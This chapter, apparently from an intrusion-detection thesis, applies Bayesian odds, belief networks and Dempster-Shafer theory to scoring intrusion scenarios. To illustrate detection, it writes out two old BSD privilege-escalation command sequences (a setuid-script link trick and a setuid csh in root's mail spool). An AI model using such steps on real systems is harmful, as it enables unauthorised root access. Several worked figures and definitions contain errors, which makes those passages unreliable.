As mentioned in Chapter 1, one of the goals of this research is to extend the IDS paradigm to include specific models of proscribed activities to be able to handle uncertainty in the data. These models would imply certain activities with certain observables which could then be monitored. This would allow to actively search for intruders by looking for activities which would be consistent with a hypothesized intrusion scenario. But the evidence can not always be matched perfectly to a hypothesized intrusion. Therefore, a determination of the *likelihood* of a hypothesized intrusion would be made based on the combination of evidence for and against it. The security of such an explicit model should be easier to validate. However, the system must be able to deal with information that can be uncertain.

Various numerical calculi have been proposed as methods to represent and deal with the propagation of uncertainty in a system. Among the more prominent calculi are *probabilistic* (in particular Bayes’ Theorem methods [151, 152]), the *evidence theory of Dempster-Shafer* [45, 151, 170], *fuzzy set theory* [102, 196], and the MYCIN and EMYCIN calculi [86, 172]. This chapter discusses the application of probabilistic and evidential reasoning to computer intrusion detection.

### 3.2.1 Proposed System

The proposed system consists of five subsystems: *Scenario Models*, *Active Models*, *Predictor*, *Translator* and *Inspector* (see Figure 3.1). Scenario Models subsystem is a knowledge base containing specifications of various scenarios or models of intrusion. These models are specified in terms of sequences of user behavior that constitute the scenario. For example, one scenario could represent an attempt to gain root access using “link” scenario, expressed in terms of the specific user behavior involved (and not in terms of the audit data).

Active Models subsystem contains those models for which the system has discovered some evidence for their occurrence. The system is currently seeking additional evidence to confirm or refute these models. As evidence is discovered which would support one of the other scenario models, that model would be added to the active set. For example, the system may have hypothesized that user A is carrying out a “link” attack, because user A was observed to have produced a link to a file which is a user’s *setuid* script containing `#!/bin/sh` or `#!/bin/csh`. 
3.2. Objective

Predictor subsystem uses the active models to hypothesize the next step in the scenario that is expected to occur. For example the hypothesized next step might be that user A will execute the linked string to gain access.

Translator *converts* the hypothesized behavior into the specific attributes and values of the audit data that would indicate that behavior. In other words, this subsystem figures out how the hypothesized behavior would show up in the audit record. To do the translation, it uses a database of tables or matrices that map aspects of user behavior to particular elements and values in the audit data. For example the hypothesis that user A will run a "link" attack might be translated into the following things to look for in the audit data: user A creates a file which is owned by the user, user A links this file to a *setuid* script not owned by the user, user A executes the linked file, and user A has access to resources which were not accessible to him before.

This mapping of aspects of user behavior to how the behavior will be noticed in the audit data must exhibit properties that differentiate the particular behavior of concern from everything else that might be occurring. These distinguishing properties must have the following characteristics:

- Easily recognized, so that they can be readily detected.

- Have a high *likelihood* of appearing in the behavior, that is to say

\[
P(\text{Activity} | \text{Behavior}) \frac{1}{P(\text{Activity} | \neg \text{Behavior})}
\]

- Clearly associated with the behavior in question. These are called *critical features*, because they always occur in the behavior being looked for.
Therefore, in addition to the descriptions of how the intrusive behavior will be noticed in the audit data, there must also be included descriptions of other or normal behavior. However, normal behavior may be defined simply as anything other than the particular behavior the system is looking for. In this case, the models of intrusion must be specified to include only aspects of behavior not exhibited unless the intrusion scenario is being enacted.

The Translator then uses this information, which is the particular items in the audit trail that are indicative of the behavior in question, to develop a plan for the specific audit data to examine next.

Next the other subsystem, the Inspector subsystem, compares the values in the plan to the actual values of the data observed in an attempt to confirm or refute the hypothesized scenario. The results are used to update the active models, and then the process begins again with the predictor. This process continues until enough evidence is obtained to put the likelihood for a particular intrusion scenario over some predetermined threshold. At this point, the system announces that a potential intrusion has been detected.

The models of intrusions can be used to decide what specific data should be examined next. These models allow the system to predict the action an intruder would take who is following a particular scenario. This in turn allows the system to determine specifically which audit data to be concerned with. If the relevant data does not occur in the audit trail, then the scenario under consideration is probably not occurring. If the system does detect what it is looking for, then it predicts the next step and will then examine only data specifically relevant to confirming the hypothesis of the posited intrusion, and so on until a conclusion is reached\(^1\). Thus, a model-based system reacts to the situation, using only the data most appropriate to the given situation and context.

### 3.3 Probabilistic Reasoning

Security rules can be enforced to express which behavior is symptomatic for which threat and to evaluate the level of danger of a given threat. For each rule a weight table expressing the level of danger of the corresponding anomalies in terms of its occurrences, and of the subject and object involved, can be defined. Levels of danger of different anomalies can then be combined to express the probability of a given breach.

---

\(^1\)The concern here would be what if the intruder does not behave in the predefined sequence, specially for those part of the scenario that the sequence is not vital. One solution would be to keep all the predicted steps in memory as well and examine the next audit data with these values.
3.3.1 Bayes’ Theorem

Bayes’ Theorem [151, 152] is based on probability theory and has a sound mathematical background contrary to certainty factors as used in MYCIN/EMYCIN [34]. It should only be used when probability is a true reflection of the knowledge. Bayes’ Theorem calculates the probability of a cause, given an event, from the individual probabilities of the event and cause and from the probability of an event, given a cause. Bayes’ Theorem is as follows:

\[
P(C \mid E) = \frac{P(C) \times P(E \mid C)}{P(C) \times P(E \mid C) + P(\sim C) \times P(E \mid \sim C)}
\]

(3.1)

In the above “\(\sim\)” represents “not”. The denominator could be just \(P(E)\), because

\[
P(E) = P(C) \times P(E \mid C) + P(\sim C) \times P(E \mid \sim C)
\]

A general form of Bayes’ Theorem is:

\[
P(C \mid E) = \frac{P(C) \times P(E \mid C)}{\sum_i P(C) \times P(E \mid C)}
\]

where the denominator refers to all exhaustive and mutually exclusive hypotheses \(C_i\), \(i = 1,2,\ldots,n\). Often, these are just the two hypotheses: “an event is true” or “an event is false”, as is the case in the first version of Bayes’ Theorem in (3.1).

Probability theory does not provide an explicit combination function for propagating uncertain evidence nor does it provide combination functions for composite hypotheses in terms of the available probabilities. However, Bayes’ theorem is useful in creating expert systems because a domain expert can usually readily estimate the probability of an effect, given a cause, \(P(E \mid C)\), and also estimate the prior probability of a cause \(P(C)\). For convenience, we can substitute cause \(C\) with the hypothesis \(H\). In implementation, Bayes’ rule is often converted to odds and likelihood ratios.

We use the notion of Prior Odds on \(H\), instead of the notion of probability in probability theory, defined as:

\[
O(H) = \frac{P(H)}{P(\sim H)} = \frac{P(H)}{1 - P(H)}
\]

The Posterior Odds, as opposed to the notion of conditional or posterior probability in probability theory, can be defined as:

\[
O(H \mid E) = \frac{P(H \mid E)}{1 - P(H \mid E)}
\]

We now introduce two more notions: the sufficiency and necessity factors.
3.3. Probabilistic Reasoning

Definition 3.1 Let \( P \) be a probability function on a sample space \( \Omega \). Furthermore, let \( H, E \subseteq \Omega \) such that \( 0 < P(H) < 1 \) and \( P(E \mid \sim H) > 0 \). The sufficiency factor \( S \), given \( H \) and \( E \), is given by

\[
S = \frac{P(E \mid H)}{P(E \mid \sim H)}
\]

The sufficiency factor, also called "positive likelihood", represents the degree to which the observation of \( E \) influences the prior probability of hypothesis \( H \). A sufficiency factor of \( S > 1 \) indicates that the evidence \( E \) tends to confirm the hypothesis \( H \). While a sufficiency factor of \( S < 1 \) indicates that the hypothesis \( \sim H \) is confirmed to some degree by the evidence \( E \), or in other words that the evidence \( E \) tends to not to confirm \( H \). If \( S = 1 \), the observation of \( E \) does not influence the prior confidence in \( H \).

Definition 3.2 Let \( P \) be a probability function on a sample space \( \Omega \). Furthermore, let \( H, E \subseteq \Omega \) such that \( 0 < P(H) < 1 \) and \( P(E \mid \sim H) > 0 \). The necessity factor \( N \), given \( H \) and \( E \), is defined by

\[
N = \frac{1 - P(E \mid H)}{1 - P(E \mid \sim H)}
\]

The necessity factor is also called "negative likelihood ratio". A comparison of likelihood ratios \( S \) and \( N \) shows that from \( S > 1 \) it follows that \( N < 1 \), and vice versa; furthermore we have \( S = 1 \) if and only if \( N = 1 \).

Sufficiency Factor and Necessity Factor notions can be used in the knowledge base to give strength to belief in each hypothesis. This way, these factors are strengths in which the likelihood of an event \( E \) (evidence), influences the belief in another event \( H \) (hypothesis). The relationship can be defined as:

\[
\text{if } E \text{ then } H \text{ with strength } \text{Strength}
\]

where \( \text{Strength} \) is a pair consisting of the necessity and sufficiency factors respectively. This can also be diagrammatically represented as:

\[
E \xrightarrow{(N,S)} H
\]

If we intend to investigate the hypothesis \( H \), we collect evidence \( E \) to confirm or deny the hypothesis. \( S \) tells how sufficient \( E \) is for \( H \), and \( N \) tells how necessary \( E \) is for \( H \). So, if \( E \) is true, then the greater the \( S \) is, the more likely \( H \) is. But if \( E \) is false, then the lower the \( N \) is, the less likely \( H \) is.

In the following, we recall some standard notions and terms for ease of understanding the remaining of this section.
3.3. Probabilistic Reasoning

Logical Relations For logical relations, the validity (truth or falsity) of a hypothesis, $H$ is completely determined by the validity of its definition by using Zadeh's fuzzy-set formulae [151]. Therefore, if the validity of at least one of the defining assertions cannot be determined, then the probability of $H$ may remain unchanged. If this is undesirable, then plausible relations may be used.

Plausible Relations For plausible relations, assertions are combined using the odds-likelihood form of Bayes' rule, with modifications [53]. Bayes' rule can only be used where the evidence $E$ (or $\sim E$) is certain. In practice, $E$ may be uncertain because either $E$ was declared by a user to be uncertain or $E$ was deduced from another plausible relation, using evidence $E'$ (say), yielding $P(E | E')$. The problem of computing $P(H | E)$ becomes one of computing $P(H | E')$, which can be shown to be calculable (with assumptions) [53], from

$$P(H | E') = P(H | E) \times P(E | E') + P(H | \sim E) \times [1 - P(E | E')] .$$

If $E (\sim E)$ is known with certainty, this formula produces consistent results. However, if $E'$ is irrelevant to $E$, then $P(E | E') = P(E)$, and the formula should produce a value for $P(H | E')$ which agrees with the expert's estimate of the prior probability $P(H)$. This is unlikely, leading to the conclusion that $P(H)$, $P(E)$, $P(H | E)$ and $P(H | \sim E)$ are not independent.

To solve this problem, we can use a piece-wise linear function of $P(E | E')$ to compute $P(H | E)$ for each rule, with a way-point to ensure that $P(H | E') = P(H)$ when $P(E | E') = P(E)$ supplied by the expert. This is shown in Figure 3.2 [53]. Converting to odds yields $O(H | E')$, and hence an effective likelihood ratio

$$L = O(H | E')/O(H)$$

can be computed for each rule. This ratio is dynamic, tending towards $S$ as $E$ is supported, and towards $N$ as $E$ is refuted. If $n$ rules determine $H$, each with effective likelihood ratio $L_i$, the conditional independence assumption allows posterior odds on $H$ to become

$$O(H | E') = O(H) \times L_1 \times L_2 \cdots \times L_n .$$

The following basic Lemma (reproduced from [77]) explains the operation for the combination of contributions of rules:

Lemma 3.1 [77, Lemma 8.1.7] Let $E_1, \ldots, E_n, H$ be such that $E_1, \ldots, E_n$ are mutually independent given $H$ and also given $\sim H$; then
3.3. Probabilistic Reasoning

Figure 3.2: Piece-wise linear function

1. \( O(H \mid E_1 \& \cdots \& E_n) = \left( \prod_{i=1}^{n} \lambda(E_i, H) \right) \cdot O(H) \),

2. \( O(H \mid E_1 \& \cdots \& E_n) = \prod_{i=1}^{n} \frac{O(H \mid E_i)}{O(H)^{n-1}} \)

(assuming all the probabilities involved are nonzero).

Theorem 3.2 [53] Let \( P \) be a probability function on a sample space \( \Omega \), and let \( O \) be the corresponding odds as defined above. Let \( H, E \subseteq \Omega \). Furthermore, let the sufficiency factor (likelihood ratio) \( S \) be defined as above. Then the following property holds:

\[ O(H \mid E) = S \times O(H) \]

3.3.2 Belief Networks

The system can use Bayesian or other belief networks to combine anomaly measures. Bayesian networks [152] allow the representation of causal dependencies between random variables in graphical form and permit the calculation of the joint probability distribution of the random variables by specifying only a small set of probabilities that relate to only neighboring nodes. This set consists of the prior probabilities of all the root nodes (nodes without parents) and the conditional probabilities of all the non-root nodes, given all possible combinations of their direct predecessors.

Bayesian networks, with arcs representing causal dependence between the parent and child, permit absorption of evidence when the values of some random variables become
known. They provide a computational framework for determining the conditional values of the remaining random variables, given this evidence.

### 3.3.3 A General Example

Consider the inference network in Figure 3.3:

![Inference network for the general example.](image)

*PP's are prior probabilities for each piece of evidence.*

If the system receives the definite piece of evidence *A*, using sufficiency ratio *S_A*, then since prior probability for *B* is *PP_B* the Odds for *B* will be:

\[
Odds(B) = \frac{PP_B}{1 - PP_B}
\]

and the posterior odds for *B* after receiving evidence *A* would be:

\[
Odds(B | A) = S_A \times Odds(B)
\]

This in turn, increases the odds on the next level in the inference network by a factor of *S_B* weighted by the degree to which *B* has increased from its prior probability. Then the posterior probability for *B* will increase based on the value of *S_A*.

\[
P(B | A) = \frac{Odds(B | A)}{1 + Odds(B | A)}
\]

Propagating up the network, the odds increasing factor is:

\[
IF(C) = S_B \times \frac{P(B | A) - PP(B)}{1 - PP(B)}
\]

and posterior Odds for *C* is:
\[ \text{Odds}(C \mid B) = IF(C) \times \frac{PP_c}{1 - PP_c} \]

and the posterior probability for \( C \) is:

\[ P(C \mid B) = \frac{\text{Odds}(C \mid B)}{1 + \text{Odds}(C \mid B)} \]

### 3.3.4 Intrusion Detection Example

The network in Figure 3.4 represents the following scenario [155]:

```bash
ln <file> -<anystring>  # Creating a link to <file>
-<anystring>            # file is a user's setuid script
                         # with #!/bin/sh or #!/bin/csh
                         # in the first line.
```

This attack scenario exploits a security flaw within 4.2 BSD UNIX. In step one, the attacker creates a link to `<file>`, where `<file>` refers to another user's setuid script containing `#!/bin/sh` or `#!/bin/csh` in the first line. Such scripts cause subshells to be created during the execution of the script. The character "-" must be the first character in the link file name, followed by any string.

In step two, the attacker executes `--<any string>`. When the first character of an executable file's name is a "-", UNIX invokes the program interactively. Since `<file>` contains `#!/bin/sh` or `#!/bin/csh` in its first line, the attacker immediately receives an interactive subshell running with the file owner's privileges.

Suppose the current audit record contains a record showing that the user has created a file. It is a definite piece of evidence, which corresponds to Create node in the network in Figure 3.4. Receiving this evidence will change the posterior probabilities of Type(\text{Link}) and Type(\text{Symb\_Link}) nodes.

The prior Probability of Type(\text{Link}) is 0.05. Converting it to Odds yields

\[ \text{Odds}(\text{Type}) = \frac{0.05}{1 - 0.05} = 0.526 \]

and posterior Odds is

\[ \text{Odds}(\text{Type} \mid \text{Create}) = 10 \times 0.0526 = 0.526 \]

and the posterior probability is
Figure 3.4: Network representing intrusion scenario

\[ P(\text{Type} \mid \text{Create}) = \frac{0.526}{1 + 0.526} = 0.345 \]

Propagating up the network, Odds increasing factor would be

\[ 20 \times \frac{0.345 - 0.05}{1 - 0.05} = 6.21 \]

and posterior Odds of Owner(root) is

\[ 6.21 \times \frac{0.02}{1 - 0.02} = 0.127 \]

and posterior probability of Owner(root) will be

\[ \frac{0.127}{1 + 0.127} = 0.113 \]

Again propagating up the network, Odds increasing factor would be

\[ 40 \times \frac{0.113 - 0.02}{1 - 0.02} = 4.531 \]

and posterior Odds of Not Public is

\[ 4.531 \times \frac{0.08}{1 - 0.08} = 0.394 \]
then, posterior probability of Not Public is

\[ \frac{0.394}{1 + 0.394} = 0.283 \]

And for the next node in the network, the odds increasing factor is

\[ 10 \times \frac{0.283 - 0.08}{1 - 0.08} = 2.207 \]

where posterior Odds of Execute File would be

\[ 2.207 \times \frac{0.25}{1 - 0.25} = 0.736 \]

and posterior probability of Execute File would be

\[ \frac{0.736}{1 + 0.736} = 0.424 \]

Finally, for the last node in the network the Odds increasing factor is

\[ 100 \times \frac{0.424 - 0.25}{1 - 0.25} = 23.2 \]

therefore posterior Odds of Unauthorized Access would be

\[ 23.2 \times \frac{0.05}{1 - 0.05} \]

and posterior probability of Unauthorized Access is

\[ \frac{1.221}{1 + 1.221} = 0.55 \]

This example clearly shows how observing different evidence changes the prior probability of 0.05 of the system being under threat to the posterior probability of 0.55.

### 3.3.5 Another Intrusion Detection Example

The network in Figure 3.5 represents the following scenario (it was reported on 4.2 BSD UNIX) [155]:

- `cp /bin/csh /usr/spool/mail/root`  \(\%\) assumes no root mail file
- `chmod 4755 /usr/spool/mail/root` \(\%\) make setuid file
- `touch x` \(\%\) create an empty file
- `mail root < x` \(\%\) mail root the empty file
- `/usr/spool/mail/root` \(\%\) execute setuid-to-root shell
This attack scenario exploits a flaw in `mail(1)` utility, in which `mail` fails to reset the setuid bit of the file to which it appends a message and changes the owner. As a result, the attacker is able to trick `mail` into creating a setuid program that is owned by root and publicly executable.

In step 1, the attacker creates a copy of `csh(1)` and names it after root’s mail file. For this step to be successful, the attacker must wait until root has no unread mail, otherwise the attacker will not be able to create the counterfeit mail file. In step 2, the attacker activates the setuid bit of the counterfeit mail file. In steps 3 and 4, the attacker creates and sends an empty message to root via the `mail` utility. The security flaw arises when, in step 4, `mail` fails to reset the setuid bit of `/usr/spool/mail/root` before it sets the file’s owner attribute to root. As a result, in step 5, the attacker needs only to execute root’s mail file to gain access to a shell with root privilege (the appended contents of message x will be taken as part of the symbol table of `csh` and will therefore not interfere with this attack). What follows is the same as the previous example.
3.3.6 Using Bayesian Method in Statistical Analysis

As mentioned in Chapter 1, intrusion detection addresses two different issues: anomaly detection and misuse detection. This section examines the use of Bayesian method in anomaly detection (statistical analysis).

Let $M_1, M_2, \ldots, M_n$ be $n$ measures used to determine if an intrusion is occurring on a system at any given moment. Each $M_i$ measures a different aspect of the system, such as the amount of disk I/O activity, or the number of page faults in the system, or CPU time consumed by the subject. Let each measure $M_i$ have two values, 1 implying that the measure is anomalous and 0 otherwise. Let $I$ be the hypothesis that the system is currently undergoing an intrusive attack. The reliability and sensitivity of each anomaly measure $M_i$ is determined by the numbers $P(M_i = 1 \mid I)$ and $P(M_i = 1 \mid \neg I)$. The combined belief in $I$ given the values of each $M_i$, is given by Bayes' theorem as:

$$P(I \mid M_1, M_2, \ldots, M_n) = \frac{P(I) \prod_{i=1}^{n} P(M_i \mid I)}{P(M_1, M_2, \ldots, M_n)}$$

This would require the joint probability distribution of the set of the measures conditioned on $I$ and $\neg I$. The number of joint probabilities required is exponential in the number of metrics. To simplify calculation at the expense of accuracy, one might assume that each measure $M_i$ depends only on $I$ and is conditionally independent of the other measures $M_j, j \neq i$. That would yield

$$P(M_1, M_2, \ldots, M_n \mid I) = \prod_{i=1}^{n} P(M_i \mid I)$$

and

$$P(M_1, M_2, \ldots, M_n \mid \neg I) = \prod_{i=1}^{n} P(M_i \mid \neg I)$$

which leads to

$$\frac{P(I \mid M_1, M_2, \ldots, M_n)}{P(I \mid M_1, M_2, \ldots, M_n)} = \frac{P(I) \prod_{i=1}^{n} P(M_i \mid I)}{P(I \mid \neg I) \prod_{i=1}^{n} P(M_i \mid \neg I)}$$

That is, we can determine the odds of an intrusion, Odds$(M) = \frac{P(M)}{P(M \mid \neg I)}$, given the values of various anomaly measures, from the prior odds of the intrusion and the likelihood of each measure being anomalous when an intrusion is occurring, i.e., the terms $P(M_i \mid I)$ and $P(M_i \mid \neg I)$.

To derive a more realistic estimate of $P(I \mid M_1, M_2, \ldots, M_n)$, however, we must take the independence of the various measures $M_i$ into account. Figure 3.6 illustrates the trivial Bayesian network model of an intrusion.
3.3. Probabilistic Reasoning

3.3.7 Using Bayesian Method to Predict Misuse Intrusions

This method of predicting intrusions is similar to the one outlined above except that the “evidence” is now a sequence of external events rather than values of anomaly measures. For misuse intrusion detection determining the conditional probability

\[ P(\text{Intrusion} \mid \text{Event Pattern}) \]

is of interest.

Applying Bayes' law as before to the above equation, yields

\[ P(\text{Intrusion} \mid \text{Event Pattern}) = P(\text{Event Pattern} \mid \text{Intrusion}) \cdot \frac{P(\text{Intrusion})}{P(\text{Event Pattern})} \]  \hspace{1cm} (3.2)

Consider the campus network of a university as the domain within which the conditional probability of intrusion is to be predicted. A security expert associated with the campus wide network might be able to quantify the prior probability of occurrence of an intrusion on the campus system or \( P(\text{Intrusion}) \), based on his experience. Further, if the intrusion reports from all of the campus systems are tabulated, one can determine for each type of event sequence comprising an intrusion, its \( P(\text{Event Pattern} \mid \text{Intrusion}) \). The relative frequency of occurrence of the event sequence in the entire intrusion set gives this probability. Similarly, given a set of intrusion-free audit trails, one can determine by inspection and tabulation, the probability \( P(\text{Event Pattern} \mid \neg \text{Intrusion}) \). Given the two conditional probabilities, one can easily determine the left hand side of Equation 3.2 above from simple Bayesian arithmetic because the prior probability of an event sequence is

\[ P(\text{Event Sequence}) = (P(ES \mid I) - P(ES \mid \neg I)) \cdot P(I) + P(ES \mid \neg I) \]

where \( ES \) and \( I \) stand for event sequence and intrusion, respectively.
3.4 Evidential Reasoning (Dempster-Shafer Theory)

In the 1960s, A. Dempster laid the foundation for a new mathematical theory of uncertainty. In the 1970s, this theory was extended by G. Shafer to what is now known as Dempster-Shafer Theory \[46, 170\]. This theory may be viewed as a generalization of probability theory. Contrary to the subjective Bayesian method and the Certainty Factor model \[86\], Dempster-Shafer theory has not been specially developed for reasoning with uncertainty in expert systems. Only at the beginning of 1980s it became apparent that the theory might be suitable for such a purpose. However the theory cannot be applied in an expert system without modification. Moreover, the theory in its original form has an exponential computational complexity. For rendering it useful in the context of expert systems, Lucas and Van Der Gaag in \[125\] propose several modifications of the theory.

3.4.1 The Probability Assignment

As it was mentioned before, the Dempster-Shafer theory may be viewed as a generalization of probability theory. The development of the theory has been motivated by the observation that probability theory is not able to distinguish between uncertainty and ignorance owing to incompleteness of information. In probability theory probabilities have to be associated with individual atomic hypotheses. Only if these probabilities are known, the computation of other probabilities of interest are possible. In the Dempster-Shafer theory however, it is possible to associate measures of uncertainty with sets of hypotheses, interpreted as disjoints, instead of with the individual hypotheses only. This nevertheless makes it possible to make statements concerning the uncertainty of other sets of hypotheses. Note that in this way, the theory is able to distinguish between uncertainty and ignorance.

The strategy followed in the Dempster-Shafer theory for dealing with uncertainty roughly amounts to starting with an initial set of hypotheses. Then for each piece of evidence associating a measure of uncertainty with certain subsets of the original set of hypotheses. This continues until measures of uncertainty may be associated with all possible subsets on account of the combined evidence. The initial set of all hypotheses in the problem domain is called the frame of discernment. In such a frame of discernment the individual hypotheses are assumed to be disjoint. The distribution of a unit of belief over a frame of discernment is called a mass distribution \[122\]. A mass distribution, \(m_\Theta\), is a mapping from subsets of a frame of discernment, \(\Theta\), into the unit interval. The impact of a piece of evidence (body of evidence) on the confidence or belief in certain
subsets of a given frame of discernment is described by means of a function which is defined in the following definition [125].

**Definition 3.3** Let $\Theta$ be a frame of discernment. If with each subset $x \subseteq \Theta$ a number $m_\Theta(x)$ is associated such that:

1. $m_\Theta(x) \geq 0$
2. $m_\Theta(\emptyset) = 0$
3. $\sum_{x \subseteq \Theta} m_\Theta(x) = 1$

then $m_\Theta$ is called a *basic probability assignment* (or mass distribution) on $\Theta$. For each subset $x \subseteq \Theta$, the number $m_\Theta(x)$ is called the *basic probability number* of $x$.

There are two other notions which should be defined.

**Definition 3.4** Let $\Theta$ be a frame of discernment and let $m_\Theta$ be a mass distribution on $\Theta$. A set $x \subseteq \Theta$ is called a *focal element* in $m_\Theta$ if $m_\Theta(x) > 0$. The *core* of $m_\Theta$, denoted by $\kappa(m)$, is the set of all focal elements of $m_\Theta$.

Notice the similarity between a basic probability assignment (mass distribution) and a probability function. A probability function associates each element in $\Theta$ with a number from the interval $[0,1]$ such that the sum of these numbers equal 1. Figure 3.7 shows the lattice of all possible subsets for a typical set $\Theta$. A mass distribution (basic probability) associates a number in the interval $[0,1]$ with each element in $2^\Theta$ such that once more the sum of the numbers equal 1.

$$m_\Theta : 2^\Theta \rightarrow [0,1]$$

A probability number $m_\Theta(x)$ expresses the confidence or belief assigned to precisely the set $x$. It does not express any belief in subset of $x$. It will be evident, however, that the total confidence in $x$ is not dependent on the confidence assigned to subsets of $x$. For a given basic probability assignment, [125] defines a function describing the cumulative belief in a set of hypotheses.

**Definition 3.5** Let $\Theta$ be a frame of discernment, and let $m_\Theta$ be a mass distribution on $\Theta$. Then the *belief function* (or *credibility function*) corresponding with $m_\Theta$ is the function $\text{Bel}:2^\Theta \rightarrow [0,1]$ defined by

$$\text{Bel}(x) = \sum_{y \subseteq x} m_\Theta(y)$$

for each $x \subseteq \Theta$. 

\[ \square \]
3.4. Evidential Reasoning (Dempster-Shafer Theory)

Several properties of this belief function can easily be proved:

1. \( \text{Bel}(\emptyset) = 1 \) since \( \sum_{\emptyset \subseteq \Theta} m_{\Theta}(y) = 1. \)

2. For each \( x \subseteq \Theta \) containing exactly one element, \( \text{Bel}(x) = m_{\Theta}(x). \)

3. For each \( x \subseteq \Theta \), we have \( \text{Bel}(x) + \text{Bel}(\bar{x}) \leq 1 \), since

\[
\text{Bel}(\Theta) = \text{Bel}(x \cup \bar{x}) = \text{Bel}(x) + \text{Bel}(\bar{x}) + \sum_{x \cap y \neq \emptyset} \sum_{\bar{x} \cap y \neq \emptyset} m_{\Theta}(y) = 1.
\]

Furthermore, the inequality \( \text{Bel}(x) + \text{Bel}(y) \leq \text{Bel}(x \cup y) \) holds for each \( x, y \in \Theta. \)

Some special belief functions follow. Recall that a basic probability assignment (mass distribution) describing lack of evidence had the following form:

\[
m_{\Theta}(x) = \begin{cases} 
1 & \text{if } x = \emptyset \\
0 & \text{otherwise} 
\end{cases}
\]

The belief function corresponding to such an assignment has been given a special name [125].

**Definition 3.6** Let \( \Theta \) be a frame of discernment, and let \( m_{\Theta} \) be a mass distribution such that \( \kappa(m_{\Theta}) = \{\Theta\} \). The belief function corresponding to \( m_{\Theta} \) is called a vacuous belief function.

The following definition from [125] concerns functions corresponding with mass distribution of the form:

\[
m_{\Theta}(x) = \begin{cases} 
1 - C_1 & \text{if } x = \emptyset \\
C_1 & \text{if } x = A \\
0 & \text{otherwise} 
\end{cases}
\]
where $A \subseteq \Theta$, and $0 < C_1 < 1$ is a constant.

**Definition 3.7** Let $\Theta$ be a frame of discernment, and let $m_{\Theta}$ be a mass distribution such that $\kappa(m_{\Theta}) = \{A, \Theta\}$ for a certain $A \subseteq \Theta$. The belief function corresponding to $m_{\Theta}$ is called a *simple support function*.

A belief function provides a lower bound for each set $x$ to the ‘actual’ belief in $x$. It is also possible that belief has been assigned to a set $w$ such that $x \subseteq w$. Therefore, in addition to the belief function the Dempster-Shafer theory defines another function corresponding with a basic probability assignment (mass distribution).

**Definition 3.8** Let $\Theta$ be a frame of discernment, and let $m_{\Theta}$ be a mass distribution on $\Theta$. Then the *plausibility function* corresponding to $m_{\Theta}$ is the function $Pl: \mathcal{P}(\Theta) \rightarrow [0,1]$ defined by

$$Pl(x) = \sum_{x \cap y \neq \emptyset} m_{\Theta}(w)$$

for each $x \subseteq \Theta$.

A function value $Pl(x)$ indicates the total confidence not assigned to $\bar{x}$, so $Pl(x)$ provides an upperbound to the ‘real’ confidence in $x$. It can be shown that, for a given basic probability assignment $m_{\Theta}$, the property

$$Pl(x) = 1 - Bel(\bar{x})$$

for each value $x \subseteq \Theta$, holds for the belief function $Bel$ and the plausibility function $Pl$ corresponding to $m_{\Theta}$. The difference $Pl(x) - Bel(x)$ indicates the confidence in the sets $w$ for which $x \subseteq w$ and therefore expresses the uncertainty with respect to $x$.

**Definition 3.9** Let $\Theta$ be a frame of discernment and let $m_{\Theta}$ be a mass distribution on $\Theta$. Let $Bel$ be the belief function corresponding to $m_{\Theta}$, and let $Pl$ be the plausibility function corresponding to $m_{\Theta}$. For each $x \subseteq \Theta$, the closed interval $[Bel(x), Pl(x)]$ is called the *belief interval* of $x$.

The lower bound of a belief interval indicates the degree to which the evidence supports the hypothesis, while the upper bound indicates the degree to which the evidence fails to refute the hypothesis, i.e., the degree to which it remains plausible.

**Example 3.1** Let $\Theta$ be a frame of discernment and let $x \subseteq \Theta$. Now, consider a basic probability $m_{\Theta}$ on $\Theta$ and its corresponding functions $Bel$ and $Pl$. 
3.4. Evidential Reasoning (Dempster-Shafer Theory)

- If \([\text{Bel}(x), \text{Pl}(x)] = [0, 1]\), then no information concerning \(x\) is available.
- If \([\text{Bel}(x), \text{Pl}(x)] = [0, 0]\), then \(x\) has been completely denied by \(m_\Theta\).
- If \([\text{Bel}(x), \text{Pl}(x)] = [0, 0.8]\), then there is some evidence against \(x\).
- If \([\text{Bel}(x), \text{Pl}(x)] = [1, 1]\), then \(x\) has been completely confirmed by \(m_\Theta\).
- If \([\text{Bel}(x), \text{Pl}(x)] = [0.3, 1]\), then there is some evidence in favor of the hypothesis \(x\).
- If \([\text{Bel}(x), \text{Pl}(x)] = [0.15, 0.75]\), then there is some evidence in favor as well as against \(x\).

If \(\text{Pl}(x) - \text{Bel}(x) = 0\) for each \(x \subseteq \Theta\), then we are back to conventional probability theory. In such a case, the belief function is called a Bayesian belief function. This notion is defined more formally in the following definition from [125].

**Definition 3.10** Let \(\Theta\) be a frame of discernment and let \(m_\Theta\) be a mass distribution such that the core of \(m_\Theta\) consists only of singleton sets. The belief function corresponding to \(m_\Theta\) is then called a Bayesian belief function.

**Dempster's rule of combination**

The Dempster-Shafer theory provides a function for computing from two pieces of evidence and their associated basic probability assignment a new basic probability assignment describing the combined influence of these pieces of evidence. This function is known as Dempster's rule of combination. The more formally definition is as follows [125].

**Definition 3.11** Let \(\Theta\) be a frame of discernment, and let \(m_1^\Theta\) and \(m_2^\Theta\) be basic probability assignments on \(\Theta\). Then \(m_1^\Theta \oplus m_2^\Theta\) is a function \(m_1^\Theta \oplus m_2^\Theta : 2^\Theta \rightarrow [0, 1]\) such that

1. \(m_1^\Theta \oplus m_2^\Theta(\emptyset) = 0\), and

2. \(m_1^\Theta \oplus m_2^\Theta(x) = \frac{\sum_{y \in x} m_1^\Theta(y) \cdot m_2^\Theta(z)}{\sum_{y \cap z \neq \emptyset} m_1^\Theta(y) \cdot m_2^\Theta(z)}\) for all \(x \neq \emptyset\).

\(\text{Bel}_1 \oplus \text{Bel}_2\) is the function \(\text{Bel}_1 \oplus \text{Bel}_2 : 2^\Theta \rightarrow [0, 1]\) defined by

\[
\text{Bel}_1 \oplus \text{Bel}_2(x) = \sum_{y \subseteq x} m_1^\Theta \oplus m_2^\Theta(y).
\]

(3.3)
3.4.2 Evidential Reasoning

The goal of evidential reasoning [122, 123, 164] is to assess the effect of all available pieces of evidence upon a hypothesis, by making use of domain-specific knowledge. The first step in applying evidential reasoning to a given problem is to delimit a propositional space of possible situations. Within the theory of belief functions, this propositional space is called the frame of discernment. A frame of discernment delimits a set of possible situations, exactly one of which is true at any one time. Once a frame of discernment has been established, propositional statements can be represented by subsets of elements from the frame corresponding to those situations for which the statements are true. Bodies of evidence are expressed as probabilistic opinions about the partial truth or falsity of propositional statements whose granularity is appropriate to the variable evidence.

Evidential reasoning provides a number of formal operations for assigning evidence [122], including:

1. **Fusion** — to determine a consensus from several bodies of evidence obtained from independent sources. Fusion is accomplished through Dempster’s rule of combination (Eq. 3.3):

\[
